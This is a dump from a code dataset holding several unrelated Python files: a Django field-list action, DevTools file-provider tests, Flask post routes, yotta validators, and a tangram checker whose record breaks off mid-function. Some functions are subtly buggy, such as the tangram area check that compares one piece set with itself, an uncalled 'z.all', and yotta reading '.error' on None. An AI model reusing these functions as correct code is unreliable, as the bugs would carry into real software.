-*- coding: utf-8 -*-\nfrom protoExt.views import validateRequest\nfrom protoLib.getStuff import getDjangoModel\nfrom protoExt.utils.utilsBase import traceError, list2dict, getReadableError\nfrom protoExt.models import ViewDefinition\n\n\ndef doBuildFieldList(modeladmin, request, queryset):\n\n cBase, message = validateRequest( request )\n if message: return message \n \n # Get base model \n try: \n cBase.model = getDjangoModel(cBase.viewEntity)\n except :\n traceError()\n return 'model not found: {0}'.format( cBase.viewEntity ) \n \n\n # Get ProtoDefinition \n try:\n protoDef = ViewDefinition.objects.get_or_create(code=cBase.viewCode)[0]\n cBase.protoMeta = protoDef.metaDefinition\n except Exception as e:\n return getReadableError(e) \n \n # Get all fields in document \n newFieldDict = cBase.model.getJfields(None, cBase.model._jDefValueDoc )[0]\n \n # get base fieldDict \n oldFieldDict = list2dict(cBase.protoMeta[ 'fields' ], 'name')\n\n # Add all not info_fields \n for fName in oldFieldDict.keys() :\n if not fName.startswith( 'info__'): \n newFieldDict[ fName ] = oldFieldDict[ fName ]\n\n # Add fields \n cBase.protoMeta['fields'] = [] \n for fName in newFieldDict.keys() :\n cBase.protoMeta['fields'].append( newFieldDict[fName] )\n\n\n protoDef.metaDefinition = cBase.protoMeta \n protoDef.save() \n","repo_name":"DarioGT/django-softmach3","sub_path":"rai01ref/actions/buildFieldList.py","file_name":"buildFieldList.py","file_ext":"py","file_size_in_byte":1439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25053012008","text":"import io\nimport sys\nfrom unittest import mock\nfrom unittest import TestCase\nimport zipfile\n\nfrom config import CHROME_UNSIGNED_ARTIFACT_PATH\nfrom config import CHROME_UNSIGNED_DT_FRONTEND_ZIP_BASE_DIRS\nfrom config import Project\nimport files\nfrom mocks.google_cloud_storage import MockedBlob\nfrom mocks.google_cloud_storage import MockedBucket\nimport pytest\n\nC = files.CONTINUE_SEARCH\nD = files.DOES_NOT_EXIST\n\nVERSION_1 = \"1.1.1.1\"\nVERSION_1_PATCH_0 = \"1.1.1.0\"\nVERSION_2 = \"2.1.9.1\"\nVERSION_100 = \"100.1.5678.1\"\nINVALID_VERSION = \"100.1.5678\"\n\nREVISION_1 = \"1b8b78f5838ed0b1c69bb4e51ea0252171854915\"\nREVISION_2 = \"ab8b78f5838ed0b1c69bb4e51ea0252171854915\"\nREVISION_6D = \"bbb878\"\nREVISION_100 = \"2b8b78f5838ed0b1c69bb4e51ea0252171854915\"\n\nVALID_FILE_A = \"valid-A\"\nVALID_FILE_B = \"valid-B\"\nVALID_FILE_C = \"valid-C\"\nINVALID_FILE_1 = \"invalid-1\"\nINVALID_FILE_2 = \"invalid-2\"\n\nPROJECT_FE = Project.DEVTOOLS_FRONTEND\nPROJECT_IN = Project.DEVTOOLS_INTERNAL\n\nDEMO_ZIP_NAME = \"2b8b78f5838ed0b1c69bb4e51ea025217185491a\"\nSAMPLE_CONTENT_1 = b\"sample-content-1\"\nSAMPLE_CONTENT_2 = b\"sample-content-2\"\n\n\ndef get_version_from_revision(revision):\n if revision == REVISION_1:\n return VERSION_1\n\n if revision == REVISION_2:\n return VERSION_2\n\n if revision == REVISION_100:\n return VERSION_100\n\n return None\n\n\ndef extract_from_zip_blob(blobnames, filename): # pylint: disable=W0613\n return SAMPLE_CONTENT_1\n\n\nclass LocalBucketProviderTest(TestCase):\n\n def get_provider(self, storage_suffix):\n provider = files.LocalBucketProvider(storage_suffix)\n provider.bucket = MockedBucket({\n f\"extracted/{REVISION_1}/{VALID_FILE_A}\":\n MockedBlob.from_content(SAMPLE_CONTENT_1),\n f\"extracted/{REVISION_1}-{PROJECT_IN.value}/{VALID_FILE_A}\":\n MockedBlob.from_content(SAMPLE_CONTENT_2),\n })\n return provider\n\n @mock.patch(\"files.storage\")\n def test_retrieve_project_file(self, *mocks): # pylint: disable=W0613\n provider = self.get_provider(None)\n self.assertEqual(\n provider.retrieve((REVISION_1, VALID_FILE_A)), SAMPLE_CONTENT_1)\n\n provider = self.get_provider(PROJECT_IN.value)\n self.assertEqual(\n provider.retrieve((REVISION_1, VALID_FILE_A)), SAMPLE_CONTENT_2)\n\n @mock.patch(\"files.storage\")\n def test_retrieve_invalid_file(self, *mocks): # pylint: disable=W0613\n provider = self.get_provider(PROJECT_FE)\n self.assertEqual(provider.retrieve((REVISION_1, INVALID_FILE_1)), C)\n\n @mock.patch(\"files.storage\")\n def test_process_response(self, *mocks): # pylint: disable=W0613\n provider = self.get_provider(PROJECT_FE)\n\n # File is CACHED if returned by ANOTHER provider\n provider.process_response(None, (REVISION_1, VALID_FILE_B),\n SAMPLE_CONTENT_1)\n self.assertEqual(\n provider.retrieve((REVISION_1, VALID_FILE_B)), SAMPLE_CONTENT_1)\n\n # Response None is NOT CACHED\n provider.process_response(None, (REVISION_1, VALID_FILE_C), None)\n self.assertEqual(provider.retrieve((REVISION_1, VALID_FILE_C)), C)\n\n\nclass MockZipFileProvider(files.ZipFileProvider):\n TEST_ZIP_PATH = 'test-path/'\n\n def __init__(self):\n self.get_blobnames_calls = 0\n self.applies_to_version_calls = 0\n super().__init__()\n\n def get_bucketname(self):\n return 'mock-bucketname'\n\n def get_blobnames(self, revision, version): # pylint: disable=W0613\n self.get_blobnames_calls += 1\n if version == VERSION_1:\n return [version]\n return []\n\n def get_zip_base_dirs(self):\n return [self.TEST_ZIP_PATH]\n\n def applies_to_version(self, major_version):\n self.applies_to_version_calls += 1\n return major_version < 5\n\n\nclass ZipFileProviderTest(TestCase):\n\n FILE_VALID = f\"{MockZipFileProvider.TEST_ZIP_PATH}{VALID_FILE_A}\"\n FILE_INVALID = f\"{MockZipFileProvider.TEST_ZIP_PATH}{INVALID_FILE_1}\"\n\n def get_provider(self):\n provider = MockZipFileProvider()\n\n # Add mock bucket with temporary zip file\n buffer_1 = io.BytesIO()\n with zipfile.ZipFile(buffer_1, \"a\") as zip_file:\n filename = f\"{MockZipFileProvider.TEST_ZIP_PATH}{VALID_FILE_A}\"\n zip_file.writestr(filename, SAMPLE_CONTENT_1)\n\n buffer_2 = io.BytesIO()\n with zipfile.ZipFile(buffer_2, \"a\") as zip_file:\n filename = f\"{MockZipFileProvider.TEST_ZIP_PATH}{VALID_FILE_B}\"\n zip_file.writestr(filename, SAMPLE_CONTENT_1)\n\n provider.bucket = MockedBucket({\n VERSION_1: MockedBlob.from_content(buffer_1.getvalue()),\n VERSION_2: MockedBlob.from_content(buffer_2.getvalue()),\n })\n\n provider.local_bucket = MockedBucket()\n\n return provider\n\n @mock.patch(\"files.storage\")\n def test_is_any_file_in_zip(self, *mocks): # pylint: disable=W0613\n provider = self.get_provider()\n\n # Add mock zip table of content for local bucket\n zip_toc_path = provider.get_zip_toc_path(VERSION_1)\n provider.local_bucket = MockedBucket({\n zip_toc_path:\n MockedBlob.from_content(f\"{self.FILE_VALID}\\n\".encode(\"utf-8\")),\n })\n\n self.assertEqual(\n provider.is_any_file_in_zip(VERSION_1, [self.FILE_VALID]),\n (True, self.FILE_VALID))\n\n self.assertEqual(\n provider.is_any_file_in_zip(\n VERSION_1, [self.FILE_INVALID, self.FILE_VALID, self.FILE_INVALID]),\n (True, self.FILE_VALID))\n\n self.assertEqual(provider.is_any_file_in_zip(VERSION_1, []), (True, None))\n\n self.assertEqual(\n provider.is_any_file_in_zip(VERSION_1, [self.FILE_INVALID]),\n (True, None))\n\n self.assertFalse(\n provider.is_any_file_in_zip(VERSION_2, [self.FILE_VALID])[0])\n\n @mock.patch(\"files.storage\")\n def test_extract_from_zip_blob(self, *mocks): # pylint: disable=W0613\n provider = self.get_provider()\n\n # No ToC exists yet\n toc_path = provider.get_zip_toc_path(VERSION_1)\n self.assertNotIn(toc_path, provider.local_bucket.blobs)\n\n # Happy path without pre-check in ToC\n params = ([VERSION_1], VALID_FILE_A)\n self.assertEqual(provider.extract_from_zip_blob(*params), SAMPLE_CONTENT_1)\n\n # After requesting the blob once, the ToC exists\n self.assertIn(toc_path, provider.local_bucket.blobs)\n\n # …and contains the test file\n toc_blob = provider.local_bucket.blobs.get(toc_path)\n self.assertIn(\n self.FILE_VALID,\n toc_blob.download_as_bytes().decode(\"utf-8\").strip('\\n').split(\"\\n\"))\n\n download_count = toc_blob._download_as_bytes_count\n\n # Happy path with pre-check in ToC\n params = ([VERSION_1], VALID_FILE_A)\n self.assertEqual(provider.extract_from_zip_blob(*params), SAMPLE_CONTENT_1)\n self.assertEqual(toc_blob._download_as_bytes_count, download_count + 1)\n\n # Archive does not exist in bucket\n params = ([VERSION_100], VALID_FILE_A)\n self.assertEqual(provider.extract_from_zip_blob(*params), C)\n\n # Second archive exists in bucket\n params = ([VERSION_100, VERSION_1], VALID_FILE_A)\n self.assertEqual(provider.extract_from_zip_blob(*params), SAMPLE_CONTENT_1)\n\n # File does not exist in archive\n params = ([VERSION_1], INVALID_FILE_1)\n self.assertEqual(provider.extract_from_zip_blob(*params), D)\n\n # File exists in second archive only\n params = ([VERSION_2, VERSION_1], VALID_FILE_A)\n self.assertEqual(provider.extract_from_zip_blob(*params), D)\n\n # No blob provided\n params = ([], VALID_FILE_A)\n self.assertEqual(provider.extract_from_zip_blob(*params), C)\n\n @mock.patch(\"files.storage\")\n def test_extract_from_zip_blob_toc_creation(self, *mocks): # pylint: disable=W0613\n provider = self.get_provider()\n\n # Archive table of content does not exist\n zip_toc_path = provider.get_zip_toc_path(VERSION_1)\n blob = provider.local_bucket.blobs.get(zip_toc_path)\n self.assertIsNone(blob)\n\n provider.extract_from_zip_blob([VERSION_1], VALID_FILE_A)\n\n # Archive table of contents is created\n blob = provider.local_bucket.blobs.get(zip_toc_path)\n filename = f\"{MockZipFileProvider.TEST_ZIP_PATH}{VALID_FILE_A}\"\n expected = (filename + \"\\n\").encode(\"utf-8\")\n self.assertEqual(blob.download_as_bytes(), expected)\n\n @mock.patch(\"files.storage\")\n @mock.patch(\n \"files.get_version_from_revision\", side_effect=get_version_from_revision)\n def test_retrieve_happy_path(self, *mocks): # pylint: disable=W0613\n provider = self.get_provider()\n self.assertEqual(\n provider.retrieve((REVISION_1, VALID_FILE_A)), SAMPLE_CONTENT_1)\n\n @mock.patch(\"files.storage\")\n @mock.patch(\n \"files.get_version_from_revision\", side_effect=get_version_from_revision)\n def test_retrieve_invalid_revision(self, *mocks): # pylint: disable=W0613\n provider = self.get_provider()\n self.assertEqual(provider.retrieve(('invalid-revision', VALID_FILE_A)), C)\n\n @mock.patch(\"files.storage\")\n @mock.patch(\n \"files.get_version_from_revision\", side_effect=get_version_from_revision)\n def test_retrieve_inactive_major(self, *mocks): # pylint: disable=W0613\n provider = self.get_provider()\n self.assertEqual(provider.retrieve((REVISION_100, VALID_FILE_A)), C)\n self.assertEqual(provider.applies_to_version_calls, 1)\n\n @mock.patch(\"files.storage\")\n @mock.patch(\n \"files.get_version_from_revision\", side_effect=get_version_from_revision)\n def test_retrieve_invalid_blob(self, *mocks): # pylint: disable=W0613\n provider = self.get_provider()\n self.assertEqual(provider.retrieve((REVISION_2, VALID_FILE_A)), C)\n self.assertEqual(provider.get_blobnames_calls, 1)\n\n\nclass ChromeUnsignedProviderTest(TestCase):\n\n def test_get_blobnames(self):\n Provider = files.ChromeUnsignedProvider\n blobnames_0 = Provider.get_blobnames(None, None, \"9.0.12.0\") # type: ignore\n self.assertEqual(len(blobnames_0), 1)\n self.assertEqual(blobnames_0[0], CHROME_UNSIGNED_ARTIFACT_PATH % \"9.0.12.0\")\n\n blobnames_3 = Provider.get_blobnames(None, None, \"9.0.12.3\") # type: ignore\n self.assertEqual(len(blobnames_3), 4)\n self.assertEqual(blobnames_3[0], CHROME_UNSIGNED_ARTIFACT_PATH % \"9.0.12.3\")\n self.assertEqual(blobnames_3[1], CHROME_UNSIGNED_ARTIFACT_PATH % \"9.0.12.2\")\n self.assertEqual(blobnames_3[2], CHROME_UNSIGNED_ARTIFACT_PATH % \"9.0.12.1\")\n self.assertEqual(blobnames_3[3], CHROME_UNSIGNED_ARTIFACT_PATH % \"9.0.12.0\")\n\n @mock.patch(\"files.storage\")\n def test_get_zip_base_dirs(self, *mocks): # pylint: disable=W0613\n provider = files.ChromeUnsignedProvider(\n CHROME_UNSIGNED_DT_FRONTEND_ZIP_BASE_DIRS)\n\n self.assertEqual(provider.get_zip_base_dirs()[0],\n CHROME_UNSIGNED_DT_FRONTEND_ZIP_BASE_DIRS[0])\n\n\nclass LegacyM99ZipProviderTest(TestCase):\n\n @mock.patch(\"files.storage\")\n def test_get_blobnames(self, *mocks): # pylint: disable=W0613\n # Generate provider\n provider = files.LegacyM99ZipProvider()\n provider.bucket = MockedBucket({\n provider.LEGACY_M99_REVS_PATH % REVISION_1:\n MockedBlob.from_content(f\"{DEMO_ZIP_NAME} \\t\\n\".encode(\"utf-8\")),\n })\n\n # Happy path\n self.assertEqual(\n provider.get_blobnames(REVISION_1, VERSION_1)[0],\n provider.LEGACY_M99_ZIPS_PATH % DEMO_ZIP_NAME)\n\n # No meta content exists\n self.assertEqual(len(provider.get_blobnames(REVISION_100, VERSION_100)), 0)\n\n\nclass LegacyM99ShortRevisionProviderTest(TestCase):\n\n @mock.patch(\"files.storage\")\n @mock.patch(\n \"files.LegacyM99ShortRevisionProvider.extract_from_zip_blob\",\n side_effect=extract_from_zip_blob)\n def test_retrieve(self, *mocks): # pylint: disable=W0613\n # Generate provider\n provider = files.LegacyM99ShortRevisionProvider()\n provider.bucket = MockedBucket({\n provider.LEGACY_M99_REVS_PATH % REVISION_6D:\n MockedBlob.from_content(f\"{DEMO_ZIP_NAME} \\t\\n\".encode(\"utf-8\")),\n })\n\n # Happy path\n self.assertEqual(\n provider.retrieve((REVISION_6D, VALID_FILE_A)), SAMPLE_CONTENT_1)\n\n # Invalid revision\n self.assertEqual(provider.retrieve((REVISION_1, VALID_FILE_A)), C)\n\n\nclass LegacyM99StaticVersionProviderTest(TestCase):\n\n @mock.patch(\"files.storage\")\n @mock.patch(\n \"files.LegacyM99StaticVersionProvider.extract_from_zip_blob\",\n side_effect=extract_from_zip_blob)\n def test_retrieve(self, *mocks): # pylint: disable=W0613\n # Generate provider\n provider = files.LegacyM99StaticVersionProvider()\n provider.bucket = MockedBucket({\n provider.LEGACY_M99_VERS_PATH % VERSION_1_PATCH_0:\n MockedBlob.from_content(f\"{DEMO_ZIP_NAME} \\t\\n\".encode(\"utf-8\")),\n })\n\n # Happy path\n self.assertEqual(\n provider.retrieve((VERSION_1, VALID_FILE_A)), SAMPLE_CONTENT_1)\n\n # No zip vers file\n self.assertEqual(provider.retrieve((VERSION_2, VALID_FILE_A)), C)\n\n # Invalid version\n self.assertEqual(provider.retrieve((INVALID_VERSION, VALID_FILE_A)), C)\n\n\nclass LegacyM99FilesProviderTest(TestCase):\n VALID_SHA_HASH_A = \"220bcaa974b936128173b5ec89115d354223f8ab\"\n INVALID_SHA_HASH_1 = \"91abcaa974b936128173b5ec89115d354223f6cc\"\n\n def get_provider(self):\n provider = files.LegacyM99FilesProvider()\n\n meta_path = provider.LEGACY_M99_META_PATH % REVISION_1\n hashed_file_path = provider.LEGACY_M99_HASH_PATH % self.VALID_SHA_HASH_A\n\n provider.bucket = MockedBucket({\n meta_path:\n MockedBlob.from_content((\n f\"{self.VALID_SHA_HASH_A}:{VALID_FILE_A}\\n\"\n f\"{self.INVALID_SHA_HASH_1}:{INVALID_FILE_1}\\n\").encode(\"utf-8\")\n ),\n hashed_file_path:\n MockedBlob.from_content(SAMPLE_CONTENT_1),\n })\n\n return provider\n\n @mock.patch(\"files.storage\")\n def test_retrieve(self, *mocks): # pylint: disable=W0613\n provider = self.get_provider()\n self.assertEqual(\n provider.retrieve((REVISION_1, VALID_FILE_A)), SAMPLE_CONTENT_1)\n\n # No ToC meta file\n self.assertEqual(provider.retrieve((REVISION_2, VALID_FILE_A)), C)\n\n # No entry in ToC file\n self.assertEqual(provider.retrieve((REVISION_1, INVALID_FILE_2)), C)\n\n # Hash in ToC does not exist\n self.assertEqual(provider.retrieve((REVISION_1, INVALID_FILE_1)), C)\n\n\nclass GetPipelineTest(TestCase):\n\n @mock.patch(\"files.storage\")\n def test_get_revision_pipeline(self, *mocks): # pylint: disable=W0613\n self.assertGreater(\n len(files.get_revision_pipeline(PROJECT_FE).providers), 0)\n self.assertGreater(\n len(files.get_revision_pipeline(PROJECT_IN).providers), 0)\n\n @mock.patch(\"files.storage\")\n def test_get_version_pipeline(self, *mocks): # pylint: disable=W0613\n self.assertGreater(len(files.get_version_pipeline().providers), 0)\n\n\nif __name__ == \"__main__\":\n sys.exit(pytest.main([__file__]))\n","repo_name":"anuragsinghbam/devtools","sub_path":"files_test.py","file_name":"files_test.py","file_ext":"py","file_size_in_byte":14585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"14722849704","text":"from flask import Blueprint, request\nfrom app.models import Post, db\nfrom flask_login import login_required, current_user\nfrom app.forms import PostForm\n\npost_routes = Blueprint(\"posts\", __name__)\n\n#ALL SPACES\n@post_routes.route('')\ndef get_all_posts():\n \"\"\"\n Query for all posts and returns a list of dictionaries\n \"\"\"\n all_posts = Post.query.all()\n response = [post.to_dict() for post in all_posts]\n return { 'posts': response }\n\n@post_routes.route('/', methods=[\"GET\"])\ndef get_one_post(id):\n \"\"\"\n Query for post by id\n \"\"\"\n post = Post.query.get(id)\n response = post.to_dict()\n return { 'post': response }\n\n@post_routes.route('/new', methods=[\"POST\"])\n@login_required\ndef create_one_post():\n \"\"\"\n create post\n \"\"\"\n form = PostForm()\n form['csrf_token'].data = request.cookies['csrf_token']\n if form.validate_on_submit():\n data = form.data\n print('DERTER IN CREATE POST/MUSIC', data)\n new_post = Post(\n title = data['title'],\n description = data['description'],\n user_id = data['user_id'],\n image_url = data['image_url'],\n # grab music url from the post, should be covered by notrequired in model\n music_url = data['music_url']\n )\n db.session.add(new_post)\n db.session.commit()\n return {\n \"post\": new_post.to_dict()\n }\n\n return {\n \"errors\": form.errors\n }\n\n@post_routes.route('/', methods=[\"DELETE\"])\n@login_required\ndef delete_one_post(id):\n \"\"\"\n Delete post\n \"\"\"\n post = Post.query.get(id)\n if current_user.id == post.user_id:\n db.session.delete(post)\n db.session.commit()\n return \"post Deleted\"\n else:\n return {\n \"errors\": \"You must be the owner of a post to delete that post.\"\n }\n\n@post_routes.route(\"/\", methods=[\"PUT\"])\n@login_required\ndef edit_one_post(id):\n \"\"\"\n Edit post\n \"\"\"\n print('no way')\n form = PostForm()\n form['csrf_token'].data = request.cookies['csrf_token']\n if form.validate_on_submit():\n data = form.data\n post = Post.query.get(id)\n\n if current_user.id == post.user_id:\n post.title = data['title']\n post.description = data['description']\n post.image_url = data['image_url']\n\n db.session.commit()\n return {\n \"post\": post.to_dict()\n }\n else:\n return {\"errors\": \"You must be the owner of a post to edit that post.\"}\n\n return {\n \"errors\": form.errors\n }\n","repo_name":"willmchristensen/Mu","sub_path":"app/api/posts_routes.py","file_name":"posts_routes.py","file_ext":"py","file_size_in_byte":2618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23657248862","text":"import re\nimport os\nimport logging\n\n\n\nSource_Dir_Regex = re.compile('^[a-z0-9_-]*$')\nSource_Dir_Invalid_Regex = re.compile('[^a-z0-9_-]*')\nComponent_Name_Replace_With_Dash = re.compile('[^a-z0-9]+')\nLooks_Like_An_Email = re.compile('^[^@]+@[^@]+\\.[^@]+$')\n\nComponent_Name_Regex = r'^[a-z]+[a-z0-9-]*$'\nTarget_Name_Regex = r'^[a-z]+[a-z0-9+-]*$'\n\n# return True if the given directory name is a potential directory name\n# for tests, False otherwise\ndef isPotentialTestDir(dirname):\n return dirname.lower() in ('test', 'tests')\n\n# return an error string describing the validation failure, or None if there is\n# no error\ndef sourceDirValidationError(dirname, component_name):\n ''' validate source directory names in components '''\n if dirname == component_name:\n return 'Module %s public include directory %s should not contain source files' % (component_name, dirname)\n elif dirname.lower() in ('source', 'src') and dirname != 'source':\n return 'Module %s has non-standard source directory name: \"%s\" should be \"source\"' % (component_name, dirname)\n elif isPotentialTestDir(dirname) and dirname != 'test':\n return 'Module %s has non-standard test directory name: \"%s\" should be \"test\"' % (component_name, dirname)\n elif not Source_Dir_Regex.match(dirname):\n corrected = Source_Dir_Invalid_Regex.sub('', dirname.lower())\n if not corrected:\n corrected = 'source'\n return 'Module %s has non-standard source directory name: \"%s\" should be \"%s\"' % (component_name, dirname, corrected)\n else:\n return None\n\ndef componentNameValidationError(component_name):\n if not re.match(Component_Name_Regex, component_name):\n return 'Module name \"%s\" is invalid - must contain only lowercase a-z, 0-9 and hyphen, with no spaces.' % component_name\n return None\n\ndef targetNameValidationError(target_name):\n if not re.match(Target_Name_Regex, target_name):\n return 'Target name \"%s\" is invalid - must contain only lowercase a-z, 0-9, + and hyphen, with no spaces.' % target_name\n return None\n\ndef componentNameCoerced(component_name):\n return Component_Name_Replace_With_Dash.sub('-', component_name.lower())\n\ndef looksLikeAnEmail(email):\n if Looks_Like_An_Email.match(email):\n return True\n else:\n return False\n\ndef directoryModule(path):\n # Component, , represents an installed component, internal\n from yotta.lib import component\n # Pack, , base class for targets and components, internal\n from yotta.lib import pack\n try:\n c = component.Component(path)\n except pack.InvalidDescription as e:\n logging.error(e)\n return None\n return c\n\ndef directoryTarget(path):\n # Target, , represents an installed target, internal\n from yotta.lib import target\n # Pack, , base class for targets and components, internal\n from yotta.lib import pack\n try:\n t = target.Target(path)\n except pack.InvalidDescription as e:\n logging.error(e)\n return None\n return t\n\ndef currentDirectoryModule():\n c = directoryModule(os.getcwd())\n if not c:\n logging.error(str(c.error))\n logging.error('The current directory does not contain a valid module.')\n return None\n return c\n\ndef currentDirectoryTarget():\n t = directoryTarget(os.getcwd())\n if not t:\n logging.error(str(t.error))\n logging.error('The current directory does not contain a valid target.')\n return None\n return t\n\ndef currentDirectoryModuleOrTarget():\n # Component, , represents an installed component, internal\n from yotta.lib import component\n # Target, , represents an installed target, internal\n from yotta.lib import target\n # Pack, , base class for targets and components, internal\n from yotta.lib import pack\n wd = os.getcwd()\n errors = []\n p = None\n try:\n p = component.Component(wd)\n except pack.InvalidDescription as e:\n errors.append(e)\n if not p:\n try:\n p = target.Target(wd)\n except pack.InvalidDescription as e:\n errors.append(e)\n if not p:\n for e in errors:\n logging.debug(e)\n logging.error('The current directory does not contain a valid module or target.')\n return None\n return p\n","repo_name":"ARMmbed/yotta","sub_path":"yotta/lib/validate.py","file_name":"validate.py","file_ext":"py","file_size_in_byte":4305,"program_lang":"python","lang":"en","doc_type":"code","stars":162,"dataset":"github-code","pt":"37"} +{"seq_id":"6864571467","text":"import re\nimport numpy as np\nfrom collections import namedtuple\nfrom matplotlib import path\nimport random\n\n\nclass Point():\n x = 0\n y = 0\n\n\nclass Piece():\n points = []\n color = ''\n\n\n# class Tangram:\npiecesList = [Piece]\nCoordinate = namedtuple('Coordinate', 'x y')\n# piecesDict = dict()\n\n\ndef getPieces(paths):\n piecesDict = dict()\n for path in paths:\n p = Piece()\n pointsList = []\n\n texts = re.findall(r'\"(.*?)\"', path)\n pathLine = texts[0]\n color = texts[1]\n\n a = re.sub('\\s+', ' ', pathLine).strip().split(' ')\n length = len(a)\n\n for i in range(1, length, 3):\n pointsList.append((int(a[i]), int(a[i+1])))\n\n p.color = color\n p.points = pointsList\n piecesList.append(p)\n piecesDict[color] = pointsList\n\n return piecesDict\n\n\ndef readFile(f):\n # with open(filename,'r') as f:\n s = f.readlines()\n paths = []\n\n for line in s:\n line = line.strip()\n if line.startswith('= 3:\n for i in range(0, actualLength-2):\n ptA = pointsList[i]\n ptB = pointsList[i+1]\n for j in range(i+2, actualLength + i - 2):\n j = j % actualLength\n ptC = pointsList[j]\n ptD = pointsList[(j+1) % actualLength]\n\n det0, det1 = 0, 0\n det0 = checkOrientationFor2Points(ptA, ptB, ptC)\n det1 = checkOrientationFor2Points(ptA, ptB, ptD)\n\n if det0 != det1:\n det0 = checkOrientationFor2Points(ptC, ptD, ptA)\n det1 = checkOrientationFor2Points(ptC, ptD, ptB)\n\n if det0 != det1:\n return False\n\n else:\n continue\n return True\n\n\ndef checkOrientationFor2Points(ptA, ptB, ptC):\n xa, ya = ptA[0], ptA[1]\n xb, yb = ptB[0], ptB[1]\n xc, yc = ptC[0], ptC[1]\n\n det = (xb*yc) + (xa*yb) + (ya*xc) - (ya*xb) - (yb*xc) - (xa*yc)\n\n if det > 0:\n return 1\n elif det < 0:\n return -1\n else:\n return 0\n\n\ndef getAreaOfColoredPieces(pointsList):\n area = 0.0\n noOfPoints = len(pointsList)\n\n j = noOfPoints - 1\n for i in range(0, noOfPoints):\n pointTupleJ = pointsList[j]\n pointTupleI = pointsList[i]\n area += (pointTupleJ[0] + pointTupleI[0]) * \\\n (pointTupleJ[1] - pointTupleI[1])\n j = i\n\n return abs(area/2.0)\n\n\ndef are_identical_sets_of_coloured_pieces(coloured_pieces_1, coloured_pieces_2):\n area1, area2 = 0.0, 0.0\n\n for a in coloured_pieces_1.values():\n area1 += getAreaOfColoredPieces(a)\n\n for a in coloured_pieces_1.values():\n area2 += getAreaOfColoredPieces(a)\n\n if area1 != area2:\n return False\n\n return check(coloured_pieces_1, coloured_pieces_2)\n\n\ndef reflectionXaxis(pointsList):\n reflectedPoints = set()\n c = 0\n m = 1\n\n for pt in pointsList:\n x1, y1 = pt[0], pt[1]\n d = (x1 + (y1 - c)*m)/(1 + m**2)\n x2 = 2*d - x1\n y2 = 2*d*m - y1 + 2*c\n reflectedPoints.add((int(x2), int(y2)))\n\n return reflectedPoints\n\n\ndef reflectionYaxis(pointsList):\n reflectedPoints = set()\n # x = 0\n c = 0\n m = 0\n\n for pt in pointsList:\n x1, y1 = pt[0], pt[1]\n d = (x1 + (y1 - c)*m)/(1 + m**2)\n x2 = 2*d - x1\n y2 = 2*d*m - y1 + 2*c\n reflectedPoints.add((int(x2), int(y2)))\n\n return reflectedPoints\n\n\ndef getNormalisedPointsSet(pointsSet):\n normalisedPoints = set()\n pt = pointsSet.pop()\n minX, minY = pt[0], pt[1]\n pointsSet.add(pt)\n\n for point in pointsSet:\n if point[0] < minX:\n minX = point[0]\n if point[1] < minY:\n minY = point[1]\n # minY = point[1] if point[1] < minY\n\n for point in pointsSet:\n ptTuple = (int(point[0] - minX), int(point[1] - minY))\n normalisedPoints.add(ptTuple)\n\n return normalisedPoints\n\n\ndef check(coloured_pieces_1, coloured_pieces_2):\n for key in coloured_pieces_1:\n pointsList = coloured_pieces_1[key]\n\n pointsSet = set(pointsList)\n\n if key not in coloured_pieces_2:\n return False\n\n targetPoints = set(coloured_pieces_2[key])\n targetPoints = getNormalisedPointsSet(targetPoints)\n\n # Q4\n if pointsSet == targetPoints:\n continue\n\n normalisedPoints = getNormalisedPointsSet(pointsSet)\n if normalisedPoints == targetPoints:\n continue\n\n # Q1\n reflectedPoints = set()\n reflectedPoints = reflectionXaxis(normalisedPoints)\n normalisedPoints = getNormalisedPointsSet(reflectedPoints)\n\n if normalisedPoints == targetPoints:\n continue\n\n # Q3\n reflectedPoints.clear()\n normalisedPoints.clear()\n\n reflectedPoints = reflectionYaxis(pointsList)\n normalisedPoints = getNormalisedPointsSet(reflectedPoints)\n\n if normalisedPoints == targetPoints:\n continue\n\n # Q2\n reflectedPoints.clear()\n reflectedPoints = reflectionXaxis(normalisedPoints)\n normalisedPoints = getNormalisedPointsSet(reflectedPoints)\n\n if normalisedPoints == targetPoints:\n continue\n\n # mirroring\n # Q4\n mirroredPts = set()\n for point in pointsSet:\n ptTuple = (point[1], point[0])\n mirroredPts.add(ptTuple)\n\n if mirroredPts == targetPoints:\n continue\n\n # Q1\n reflectedPoints = reflectionXaxis(mirroredPts)\n normalisedPoints = getNormalisedPointsSet(reflectedPoints)\n\n if normalisedPoints == targetPoints:\n continue\n\n # Q3\n reflectedPoints = reflectionYaxis(mirroredPts)\n normalisedPoints = getNormalisedPointsSet(reflectedPoints)\n\n if normalisedPoints == targetPoints:\n continue\n\n # Q2\n reflectedPoints = reflectionXaxis(reflectedPoints)\n normalisedPoints = getNormalisedPointsSet(reflectedPoints)\n\n if normalisedPoints != targetPoints:\n return False\n\n return True\n\n\ndef is_solution(tangram, shape):\n\n # if not are_valid(tangram):\n # return False\n\n # check area\n areaTangram, areaShape = 0.0, 0.0\n\n for key in tangram:\n areaTangram += getAreaOfColoredPieces(tangram[key])\n\n for key in shape:\n areaShape += getAreaOfColoredPieces(shape[key])\n\n if areaTangram != areaShape:\n return False\n\n pieces, target = dict(), dict()\n if len(tangram.keys()) > 1:\n pieces, target = tangram, shape\n else:\n pieces, target = shape, tangram\n\n # check if point inside polygon\n allTargetValues = target.values()\n targetPoints = list()\n\n for value in allTargetValues:\n targetPoints = value\n\n increasedPoints1 = increaseSizeOfPolygon(targetPoints, 0.1, 0.0)\n increasedPoints2 = increaseSizeOfPolygon(targetPoints, 0.0, 0.1)\n increasedPoints3 = increaseSizeOfPolygon(targetPoints, 0.0, -0.1)\n increasedPoints4 = increaseSizeOfPolygon(targetPoints, -0.1, 0.0)\n polyPath = path.Path(increasedPoints1)\n\n for key in pieces:\n ptsList = pieces[key]\n\n inOutArray = polyPath.contains_points(ptsList)\n\n polyPath = path.Path(increasedPoints2)\n inOutArray2 = polyPath.contains_points(ptsList)\n \n\n polyPath = path.Path(increasedPoints3)\n inOutArray3 = polyPath.contains_points(ptsList)\n\n \n polyPath = path.Path(increasedPoints4)\n inOutArray4 = polyPath.contains_points(ptsList)\n\n a1 = np.array(inOutArray)\n a2 = np.array(inOutArray2)\n a3 = np.array(inOutArray3)\n a4 = np.array(inOutArray4)\n\n z = a1 | a2 | a3 | a4\n\n if not z.all:\n return 